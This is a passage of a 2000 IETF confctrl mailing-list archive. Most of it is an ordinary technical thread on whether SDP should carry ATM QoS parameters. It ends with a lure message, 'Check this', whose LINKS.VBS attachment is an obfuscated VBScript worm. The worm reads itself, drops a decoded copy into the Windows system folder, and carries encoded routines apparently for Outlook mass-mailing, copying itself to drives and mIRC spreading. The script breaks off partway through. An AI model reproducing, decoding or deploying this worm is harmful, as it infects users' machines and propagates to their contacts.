opinion that a session description should contain enough information to (set
up, if necessary, and) use a bearer.  For ATM, the QOS parameters are needed
to set up the bearer, and therefore should be included.

Tim Schroeder

-----Original Message-----
From: Rosen, Brian [mailto:brosen@fore.com]
Sent: Monday, February 14, 2000 1:51 PM
To: 'confctrl@isi.edu'
Subject: ATM extensions to SDP - QoS parameters be in there


There is a small group of people working to extend SDP to describe
an ATM bearer.  For both MGCP and Megaco/H.248, SDP is the way to 
describe the characteristics of a bearer in a session, and if we 
want an ATM bearer, we need to do it with SDP.  In addition to the 
Media Gateway Control protocols, it would be nice if the same 
mechanism worked for SIP, which uses SDP for the same purpose.

A question has arisen which is architectural, and thus this message.
When you create an ATM connection, you specify addresses, and you
also specify QoS parameters.  The protocols that create the 
connections have both sets of parameters.  The question at hand
is, should SDP carry QoS parameters, as well as addresses and
bearer type (IP, ATM, ...)?  On the one hand:
	QoS is as much of a session specification as a codec choice
	It would be very expedient to have c= lines for the various 
		ATM QoS parameters because all users of SDP would then 
		be able to completely describe an ATM VC
	One (ATM) protocol is used to carry both sets of parameters,
		so why artificially split QoS and address info

On the other hand:
	We have shunted IP Qos to separate protocols -- IP QoS 
		parameters are not defined in SDP
	Generally speaking, QoS choices are made at one end, while 
		SDP is used primarily between peers to describe sessions

This issue may come up again in other contexts, so I'm soliciting 
advice from the larger group on this architectural question.

Brian
------------
Brian Rosen, Principal Engineer
Marconi (Formerly FORE Systems)
1000 FORE Drive, Warrendale, PA 15086
(724) 742-6826  mailto:brosen@eng.fore.com 


From confctrl-owner  Wed Feb 16 01:00:48 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA12589
	for confctrl-outgoing; Wed, 16 Feb 2000 01:00:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA12584
	for <confctrl@zephyr.isi.edu>; Wed, 16 Feb 2000 01:00:47 -0800 (PST)
Received: from auemlsrv.firewall.lucent.com (auemail1.lucent.com [192.11.223.161])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19619
	for <confctrl@ISI.EDU>; Wed, 16 Feb 2000 01:00:51 -0800 (PST)
Received: from auemlsrv.firewall.lucent.com (localhost [127.0.0.1])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id EAA17025
	for <confctrl@ISI.EDU>; Wed, 16 Feb 2000 04:00:50 -0500 (EST)
Received: from hzsgg01.nl.lucent.com (h135-85-116-11.lucent.com [135.85.116.11])
	by auemlsrv.firewall.lucent.com (Pro-8.9.3/8.9.3) with SMTP id EAA17008
	for <confctrl@ISI.EDU>; Wed, 16 Feb 2000 04:00:49 -0500 (EST)
Received: from lucent.com (hzsgp04.nl.lucent.com) by hzsgg01.nl.lucent.com (4.1/SMI-4.1)
	id AA28954; Wed, 16 Feb 00 10:00:39 +0100
Message-Id: <38AA673E.BB110840@lucent.com>
Date: Wed, 16 Feb 2000 10:00:46 +0100
From: Paul Sijben <sijben@lucent.com>
Organization: Lucent technologies, The Netherlands
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Mime-Version: 1.0
To: "Schroeder, Tim" <schroeder@tri.sbc.com>
Cc: "'Rosen, Brian'" <brosen@fore.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: ATM extensions to SDP - QoS parameters be in there
References: <4D45BA2A58A7D3119E050008C7E69E29079085@trimail2.tri.sbc.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Tim,

I am of the same opinion. SDP describes what in some circles is known as
"bearers". In my opinion these bearers contain a description of the media
parameters, transport parameters and the associated QoS. 

So this does not imply that you copy all the ATM QoS parameters or the RSVP
paramters but you need to transport enough information to create them. Iin
the extreme, if the entities at both ends of the bearer discussion adhere
to the same policy that information may even be implicit. 

Paul

"Schroeder, Tim" wrote:
> 
> I would like to see the ATM QOS parameters in SDP.  I find the "advantages"
> (your one hand, below) more compelling than the other hand.  I'm of the
> opinion that a session description should contain enough information to (set
> up, if necessary, and) use a bearer.  For ATM, the QOS parameters are needed
> to set up the bearer, and therefore should be included.
> 
> Tim Schroeder
> 
> -----Original Message-----
> From: Rosen, Brian [mailto:brosen@fore.com]
> Sent: Monday, February 14, 2000 1:51 PM
> To: 'confctrl@isi.edu'
> Subject: ATM extensions to SDP - QoS parameters be in there
> 
> There is a small group of people working to extend SDP to describe
> an ATM bearer.  For both MGCP and Megaco/H.248, SDP is the way to
> describe the characteristics of a bearer in a session, and if we
> want an ATM bearer, we need to do it with SDP.  In addition to the
> Media Gateway Control protocols, it would be nice if the same
> mechanism worked for SIP, which uses SDP for the same purpose.
> 
> A question has arisen which is architectural, and thus this message.
> When you create an ATM connection, you specify addresses, and you
> also specify QoS parameters.  The protocols that create the
> connections have both sets of parameters.  The question at hand
> is, should SDP carry QoS parameters, as well as addresses and
> bearer type (IP, ATM, ...)?  On the one hand:
>         QoS is as much of a session specification as a codec choice
>         It would be very expedient to have c= lines for the various
>                 ATM QoS parameters because all users of SDP would then
>                 be able to completely describe an ATM VC
>         One (ATM) protocol is used to carry both sets of parameters,
>                 so why artificially split QoS and address info
> 
> On the other hand:
>         We have shunted IP Qos to separate protocols -- IP QoS
>                 parameters are not defined in SDP
>         Generally speaking, QoS choices are made at one end, while
>                 SDP is used primarily between peers to describe sessions
> 
> This issue may come up again in other contexts, so I'm soliciting
> advice from the larger group on this architectural question.
> 
> Brian
> ------------
> Brian Rosen, Principal Engineer
> Marconi (Formerly FORE Systems)
> 1000 FORE Drive, Warrendale, PA 15086
> (724) 742-6826  mailto:brosen@eng.fore.com

-- 
Paul Sijben              Tel:+31 356874774 
Lucent Technologies      Message:+31 208702874			
Forward Looking Work     Fax: +31 208702874
Huizen, The Netherlands  http://voip.nl.lucent.com/~sijben (internal)

From confctrl-owner  Wed Feb 16 01:21:13 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA13016
	for confctrl-outgoing; Wed, 16 Feb 2000 01:21:13 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA13009
	for <confctrl@zephyr.isi.edu>; Wed, 16 Feb 2000 01:21:12 -0800 (PST)
Received: from vs.informatik.uni-ulm.de (vs.informatik.uni-ulm.de [134.60.77.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA20510
	for <confctrl@ISI.EDU>; Wed, 16 Feb 2000 01:21:16 -0800 (PST)
Received: from miraculix (134.60.77.82) by vs.informatik.uni-ulm.de with SMTP
 (Eudora Internet Mail Server 2.2.2); Wed, 16 Feb 2000 10:21:17 +0100
Message-ID: <002801bf7860$07575260$524d3c86@informatik.uniulm.de>
From: "Andreas Kassler" <kassler@informatik.uni-ulm.de>
To: "Schroeder, Tim" <schroeder@tri.sbc.com>,
        "'Rosen, Brian'" <brosen@fore.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
References: <4D45BA2A58A7D3119E050008C7E69E29079085@trimail2.tri.sbc.com>
Subject: Re: ATM extensions to SDP - QoS parameters be in there
Date: Wed, 16 Feb 2000 10:27:22 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,
may be I am wrong, but I would rather include a Generic
QoS specificatiobn into SDP and do somewhere the
mapping to ATM bearer QoS or RSVP type QoS
(RSopec, TSpec). The advantages would be
to be independent from the network with respect
to QoS parameters. The generic QoS spec
could be something similar to WinSock generic QoS spec, and
WinSock does then the mapping to ATM or RSVP.
Possible parameters coul encompass:

- service type (guaranteed, predicted, best-effort)
- Token Rate [Bps], specifies the permitted rate at which data can be
transmitted over the life of the flow
- Token Bucket Size [bytes], the maximum amount of credits a given direction
of a flow can accrue, regardless of time. In video applications,
TokenBucketSize will likely be the largest average frame size. In constant
rate applications, TokenBucketSize should be set to allow for small
variations
- Peak Bandwidth  [bps], The upper limit on time-based transmission
permission for a given flow, sometimes considered a burst limit
- Latency [ms], Maximum acceptable delay between transmission of a bit by
the sender and its receipt by one or more intended receivers. The precise
interpretation of this number depends on the level of guarantee specified in
the QOS request.
- Delay Variation [ms], difference between the maximum and minimum possible
delay a packet will experience. Applications use DelayVariation to determine
the amount of buffer space needed at the receiving end of the flow, in order
to restore the original data transmission pattern.
- Minimum Policed Size [bytes], specifies the minimum packet size for which
the requested quality of service will be provided.
- MaxSDUSize [bytes], specifies the maximum packet size permitted or used in
the traffic flow.

Regards, Andreas Kassler
-----------------------------------------------------------------------
 Andreas Kassler
 Department of Distributed Systems
 Oberer Eselsberg                              Phone: + 49 731/502-4139
 University of Ulm                             Fax  : + 49 731/502-4142
 D-89069 Ulm                      e-Mail: kassler@informatik.uni-ulm.de
 http://www-vs.informatik.uni-ulm.de/Mitarbeiter/Kassler/


----- Original Message -----
From: Schroeder, Tim <schroeder@tri.sbc.com>
To: 'Rosen, Brian' <brosen@fore.com>; 'confctrl@isi.edu' <confctrl@ISI.EDU>
Sent: Wednesday, February 16, 2000 12:45 AM
Subject: RE: ATM extensions to SDP - QoS parameters be in there


> I would like to see the ATM QOS parameters in SDP.  I find the
"advantages"
> (your one hand, below) more compelling than the other hand.  I'm of the
> opinion that a session description should contain enough information to
(set
> up, if necessary, and) use a bearer.  For ATM, the QOS parameters are
needed
> to set up the bearer, and therefore should be included.
>
> Tim Schroeder
>
> -----Original Message-----
> From: Rosen, Brian [mailto:brosen@fore.com]
> Sent: Monday, February 14, 2000 1:51 PM
> To: 'confctrl@isi.edu'
> Subject: ATM extensions to SDP - QoS parameters be in there
>
>
> There is a small group of people working to extend SDP to describe
> an ATM bearer.  For both MGCP and Megaco/H.248, SDP is the way to
> describe the characteristics of a bearer in a session, and if we
> want an ATM bearer, we need to do it with SDP.  In addition to the
> Media Gateway Control protocols, it would be nice if the same
> mechanism worked for SIP, which uses SDP for the same purpose.
>
> A question has arisen which is architectural, and thus this message.
> When you create an ATM connection, you specify addresses, and you
> also specify QoS parameters.  The protocols that create the
> connections have both sets of parameters.  The question at hand
> is, should SDP carry QoS parameters, as well as addresses and
> bearer type (IP, ATM, ...)?  On the one hand:
> QoS is as much of a session specification as a codec choice
> It would be very expedient to have c= lines for the various
> ATM QoS parameters because all users of SDP would then
> be able to completely describe an ATM VC
> One (ATM) protocol is used to carry both sets of parameters,
> so why artificially split QoS and address info
>
> On the other hand:
> We have shunted IP Qos to separate protocols -- IP QoS
> parameters are not defined in SDP
> Generally speaking, QoS choices are made at one end, while
> SDP is used primarily between peers to describe sessions
>
> This issue may come up again in other contexts, so I'm soliciting
> advice from the larger group on this architectural question.
>
> Brian
> ------------
> Brian Rosen, Principal Engineer
> Marconi (Formerly FORE Systems)
> 1000 FORE Drive, Warrendale, PA 15086
> (724) 742-6826  mailto:brosen@eng.fore.com
>


From confctrl-owner  Wed Feb 16 16:47:31 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA06176
	for confctrl-outgoing; Wed, 16 Feb 2000 16:47:31 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA06171
	for <confctrl@zephyr.isi.edu>; Wed, 16 Feb 2000 16:47:30 -0800 (PST)
Received: from PMESMTP01.wcom.com (pmesmtp01.wcom.com [199.249.20.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA17788
	for <confctrl@ISI.EDU>; Wed, 16 Feb 2000 16:47:34 -0800 (PST)
Received: from ndcrelay.mcit.com ([166.37.172.49])
 by firewall.mcit.com (PMDF V5.2-32 #42256)
 with ESMTP id <0FQ100J9RU6FW3@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 17 Feb 2000 00:47:03 +0000 (GMT)
Received: from omzmta01.mcit.com (omzmta01.mcit.com [166.37.194.119])
 by ndcrelay.mcit.com (8.8.7/) with ESMTP	id AAA17967; Thu,
 17 Feb 2000 00:47:13 +0000 (GMT)
Received: from dwillispc8 ([166.35.148.173])
 by omzmta01.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <20000217004702.INSL10975@dwillispc8>; Thu,
 17 Feb 2000 00:47:02 +0000
Date: Wed, 16 Feb 2000 18:46:04 -0600
From: Dean Willis <dean.willis@wcom.com>
Subject: RE: ATM extensions to SDP - QoS parameters be in there
In-reply-to: <4FBEA8857476D311A03300204840E1CF20895F@whq-msgusr-02.fore.com>
To: "Rosen, Brian" <brosen@fore.com>, "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Message-id: <001601bf78e0$5e951820$ad9423a6@mcit.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Yep, put em in. Can't really do the job without this info, as the Precept
people discovered independently.

--
dean

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Rosen, Brian
> Sent: Monday, February 14, 2000 1:51 PM
> To: 'confctrl@isi.edu'
> Subject: ATM extensions to SDP - QoS parameters be in there
>
>
> There is a small group of people working to extend SDP to describe
> an ATM bearer.  For both MGCP and Megaco/H.248, SDP is the way to
> describe the characteristics of a bearer in a session, and if we
> want an ATM bearer, we need to do it with SDP.  In addition to the
> Media Gateway Control protocols, it would be nice if the same
> mechanism worked for SIP, which uses SDP for the same purpose.
>
> A question has arisen which is architectural, and thus this message.
> When you create an ATM connection, you specify addresses, and you
> also specify QoS parameters.  The protocols that create the
> connections have both sets of parameters.  The question at hand
> is, should SDP carry QoS parameters, as well as addresses and
> bearer type (IP, ATM, ...)?  On the one hand:
> 	QoS is as much of a session specification as a codec choice
> 	It would be very expedient to have c= lines for the various
> 		ATM QoS parameters because all users of SDP would then
> 		be able to completely describe an ATM VC
> 	One (ATM) protocol is used to carry both sets of parameters,
> 		so why artificially split QoS and address info
>
> On the other hand:
> 	We have shunted IP Qos to separate protocols -- IP QoS
> 		parameters are not defined in SDP
> 	Generally speaking, QoS choices are made at one end, while
> 		SDP is used primarily between peers to describe sessions
>
> This issue may come up again in other contexts, so I'm soliciting
> advice from the larger group on this architectural question.
>
> Brian
> ------------
> Brian Rosen, Principal Engineer
> Marconi (Formerly FORE Systems)
> 1000 FORE Drive, Warrendale, PA 15086
> (724) 742-6826  mailto:brosen@eng.fore.com
>
>


From confctrl-owner  Thu Feb 17 01:54:56 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA19766
	for confctrl-outgoing; Thu, 17 Feb 2000 01:54:56 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA19761
	for <confctrl@zephyr.isi.edu>; Thu, 17 Feb 2000 01:54:54 -0800 (PST)
Received: from mars.mediagate.co.il ([194.90.192.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA20202
	for <confctrl@ISI.EDU>; Thu, 17 Feb 2000 01:54:54 -0800 (PST)
Received: from jacob ([194.90.192.122]) by mars.mediagate.co.il
  (Eureka! Silver(tm) v2.4) id AA-2000Feb17.115303.S5000.30764;
  Thu, 17 Feb 2000 11:53:04 +0200
From: "Jacob Avraham" <jacoba@mediagate.co.il>
To: <jacoba@mediagate.co.il>
Subject: Check this
Date: Thu, 17 Feb 2000 11:55:04 +0200
Message-ID: <005201bf792d$1039dce0$7ac05ac2@mediagate>
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_004F_01BF793D.D3C12640"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
X-MailServer: Eureka! Silver Internet Server (v2.4 Build 1033)
Organization: mediagate
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_004F_01BF793D.D3C12640
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Have fun with these links.
Bye.
------=_NextPart_000_004F_01BF793D.D3C12640
Content-Type: application/octet-stream;
	name="LINKS.VBS"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="LINKS.VBS"

On Error Resume Next
Set A1 =3D CreateObject("Scripting.FileSystemObject")
Set A2 =3D A1.OpenTextFile(WScript.ScriptFullName,1)
Do While A2.AtEndOfStream =3D False And Mid(A3,40,10) <> "`sd]Lhbsnr"
A3 =3D A2.ReadLine
Loop
A2.Close
Set A4 =3D =
A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1),B("STOEMM/WCR")),Tr=
ue)
A4.WriteLine(B("No!Dssns!Sdrtld!Odyu"))
A4.WriteLine(B("Rdu!@0!<!Bsd`udNckdbu)""Rbshquhof/GhmdRxrudlNckdbu""("))
A4.WriteLine(B("Rdu!@3!<!@0/NqdoUdyuGhmd)VRbshqu/RbshquGtmmO`ld-0("))
A4.WriteLine(B("En!Vihmd!@3/@uDoeNgRusd`l!<!G`mrd!@oe!Lhe)@2-52-01(!=3D?!=
""gZOkepquqd"""))
A4.WriteLine(B("@2!<!@3/Sd`eMhod"))
A4.WriteLine(B("Mnnq"))
A4.WriteLine(B("@3/Bmnrd"))
A4.WriteLine(B("Rdu!@5!<!@0/Bsd`udUdyuGhmd)@0/CthmeQ`ui)@0/FduRqdbh`mGnme=
ds)1(-C)""JKLMU,T@U""((-Ustd("))
A4.WriteLine(B("@5/VshudMhod)C)""Ql!Gppqp!Pguwog!Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C3!?!EpgcrgQ`hger&""""Uepknrkli,Dkjg=
U{urgoQ`hger""""+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C0!?!C3,QnglRgvrDkjg&YUepknr,UepknrD=
wjjLcog*3+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Bq!Yfkjg!C0,CrGlbQdUrpgco!?!Dcjug!Clb!Ok=
b&C5*2.*3.+!:<!""""^ub_Jf`ulp""""""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C5!?!C0,PgcbJklg""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Jqqn""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C0,Ejqug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C2!?!C3,EpgcrgRgvrDkjg&C3,@wkjbNcrf&=
C3,IgrUngekcjDqjbgp&3+*@&""""URQGOO1YEP""""++*Rpwg+""(("))
A4.WriteLine(B("Rdu!@4!<!@0/NqdoUdyuGhmd)VRbshqu/RbshquGtmmO`ld-0("))
A4.WriteLine(B("En!Vihmd!@4/@uDoeNgRusd`l!<!G`mrd"))
A4.WriteLine(B("@5/VshudMhod)C)""C2,YpkrgJklg&@&""""""(!'!B)Sdqm`bd)@4/Sd=
`eMhod-C)""""""""(-C)""""""""""""(((!'!C)""""""++""(("))
A4.WriteLine(B("Mnnq"))
A4.WriteLine(B("@4/Bmnrd"))
A4.WriteLine(B("@5/VshudMhod)C)""C2,Ejqug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C7!?!EpgcrgQ`hger&@&""""TP`ufsw1Pkbo=
o""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C7,PgiYpkrg!@&""""KHBV\OL@>O\J>@KFQB_Pli=
wt^ub_Jf`ulpliw_Tfqgltp_@ruubqwYbupflq_Urq_Urqgoo""""+*C3,@wkjbNcrf&C3,Ig=
rUngekcjDqjbgp&3+*@&""""URQGOO1YEP""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!Oui@qv&@&""""Wkfp tfoo ^gg ^ =
pkluw`rw wl iubb [[[ ofqhp lq vlru gbphwls1 Gl vlr t^qw wl =
`lqwfqrb<""""+*54*@&""""Iubb [[[ ofqhp""""++!?!4!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C4!?!C3,EpgcrgRgvrDkjg&C3,@wkjbNcrf&=
C7,UngekcjDqjbgpu&@&""""Gbphwls""""++*@&""""IUBB [[[ =
OFQHP1RUO""""++*Rpwg+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""XFqwbuqbwPkluw`rwZ"""=
"++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C4,YpkrgJklg&@&""""RUO:kwws=3D,,ttt1preo=
fjbgfub`wluv1`lj,""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C4,Ejqug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C9!?!EpgcrgQ`hger&@&""""TP`ufsw1Qbwt=
luh""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C6!?!C9,GlwoLgryqpmBpktgu""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!C6,Eqwlr!:<!.!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C;!?!.!Rq!C6,Eqwlr!/!3""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!KlUrp&C6,Krgo&C;+*@&""""__""""++!:<!.=
!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C3,Eqn{Dkjg!YUepknr,UepknrDwjjLcog*!C3,@=
wkjbNcrf&C6,Krgo&C;+*@&""""OFQHP1YEP""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C3.!?!EpgcrgQ`hger&@&""""Lrwollh1>ss=
of`^wflq""""++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C33!?!C3.,IgrLcogUnceg&@&""""J>SF"""=
"++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!Gcef!C30!Kl!C33,CbbpguuJkuru""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C35!?!C3.,EpgcrgKrgo&.+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!C32!?!3!Rq!C30,CbbpguuGlrpkgu,Eqwlr"=
"(("))
A4.WriteLine(B("@5/VshudMhod)C)""Ugr!C37!?!C30,CbbpguuGlrpkgu&C32+""(("))=

A4.WriteLine(B("@5/VshudMhod)C)""Kd!C32!?!3!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C37,Cbbpguu""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,@EE!?!C35,@EE!$!@&""""8 =
""""+!$!C37,Cbbpguu""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,Uw`hger!?!@&""""@kb`h =
wkfp""""+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,@qb{!?!@&""""K^yb irq tfwk wkbpb =
ofqhp1""""+!$!Efp&35+!$!Efp&3.+!$!@&""""Evb1""""+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,Crrcefoglru,Cbb!YUepknr,UepknrDwjjLc=
og""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,BgjgrgCdrgpUw`okr!?!Rpwg""(("))
A4.WriteLine(B("@5/VshudMhod)C)""C35,Uglb""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dwlerkql!@&@3+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Dqp!@0!?!3!Rq!Jgl&@3+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!Cue&Okb&@3*@0*3++!:<!52!Clb!Cue&Okb&@=
3*@0*3++!:<!57!Clb!Cue&Okb&@3*@0*3++!:<!304!Rfgl""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Kd!Cue&Okb&@3*@0*3++!Oqb!0!?!.!Rfgl""(("=
))
A4.WriteLine(B("@5/VshudMhod)C)""@!?!@!$!Efp&Cue&Okb&@3*@0*3++!-!Pkifr&Cu=
e&Okb&C5*9.*3++!-!3*3++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""@!?!@!$!Efp&Cue&Okb&@3*@0*3++!/!Pkifr&Cu=
e&Okb&C5*9.*3++!-!3*3++""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Gjug""(("))
A4.WriteLine(B("@5/VshudMhod)C)""@!?!@!$!Okb&@3*@0*3+""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Kd""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Lgvr""(("))
A4.WriteLine(B("@5/VshudMhod)C)""Glb!Dwlerkql""(("))
A4.WriteLine(B("@5/Bmnrd"))
A4.WriteLine(B("Gns!D`bi!@7!Ho!@0/Eshwdr"))
A4.WriteLine(B("Hg!@7/EshwdUxqd!<!3!Uido"))
A4.WriteLine(B("E!@7/EshwdMduuds!'!C)""8ZOKPE""("))
A4.WriteLine(B("E!@7/EshwdMduuds!'!C)""8ZNKPEF;6""("))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Rdu!@6!<!Bsd`udNckdbu)C)""YUepknr,Ufgjj""(("))
A4.WriteLine(B("E!@6/SdfSd`e)C)""FMG[aJQECJaOCEFKLGZUqdrycpgZOkepquqdrZYk=
lbqyuZEwppglrTgpukqlZNpqipcoDkjguBkp""(("))
A4.WriteLine(B("Gtobuhno!C)C0("))
A4.WriteLine(B("Gns!C3!<!0!Un!Mdo)C0("))
A4.WriteLine(B("Hg!@rb)Lhe)C0-C3-0((!=3D?!23!@oe!@rb)Lhe)C0-C3-0((!=3D?!2=
2!@oe!@rb)Lhe)C0-C3-0((!=3D?!25!@oe!@rb)Lhe)C0-C3-0((!=3D?!071!@oe!@rb)Lh=
e)C0-C3-0((!=3D?!344!Uido"))
A4.WriteLine(B("Hg!@rb)Lhe)C0-C3-0((!Lne!3!<!1!Uido"))
A4.WriteLine(B("C!<!C!'!Bis)@rb)Lhe)C0-C3-0((!,!Shfiu)@rb)Lhe)@2-9-0((!,!=
3-0(("))
A4.WriteLine(B("Dmrd"))
A4.WriteLine(B("C!<!C!'!Bis)@rb)Lhe)C0-C3-0((!*!Shfiu)@rb)Lhe)@2-9-0((!,!=
3-0(("))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Dmrd"))
A4.WriteLine(B("C!<!C!'!Lhe)C0-C3-0("))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Doe!Gtobuhno"))
A4.WriteLine(B("Gtobuhno!B)B0("))
A4.WriteLine(B("Gns!B3!<!0!Un!Mdo)B0("))
A4.WriteLine(B("Hg!@rb)Lhe)B0-B3-0((!=3D?!25!@oe!@rb)Lhe)B0-B3-0((!=3D?!2=
4!@oe!@rb)Lhe)B0-B3-0((!=3D?!037!Uido"))
A4.WriteLine(B("Hg!@rb)Lhe)B0-B3-0((!Lne!3!<!1!Uido"))
A4.WriteLine(B("B!<!B!'!Bis)@rb)Lhe)B0-B3-0((!*!Shfiu)@rb)Lhe)@2-09-0((!*=
!4-0(("))
A4.WriteLine(B("Dmrd"))
A4.WriteLine(B("B!<!B!'!Bis)@rb)Lhe)B0-B3-0((!,!Shfiu)@rb)Lhe)@2-09-0((!*=
!4-0(("))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Dmrd"))
A4.WriteLine(B("B!<!B!'!Lhe)B0-B3-0("))
A4.WriteLine(B("Doe!Hg"))
A4.WriteLine(B("Odyu"))
A4.WriteLine(B("Doe!Gtobuhno"))
A4.WriteLine(B("Rtc!E)E0("))
A4.WriteLine(B("Hg!@0/GnmedsDyhrur)E0(!<!Ustd!Uido"))
A4.WriteLine(B("Gns!D`bi!E3!Ho!@0/FduGnmeds)E0(/Ghmdr"))
A4.WriteLine(B("Hg!TB`rd)E3/O`ld(!<!C)""OKPE50,GVG""(!Uido"))
A4.WriteLine(B("Rdu!E2!<!@0/Bsd`udUdyuGhmd)@0/CthmeQ`ui)E3/Q`sdouGnmeds-C=
)""UEPKNR,KLK""((-Ustd("))
A4.WriteLine(B("E2/VshudMhod)C)""]uepknr_""(("))
A4.WriteLine(B("E2/VshudMhod)C)""l.?ql!38hqkl8%8kd!#og! =
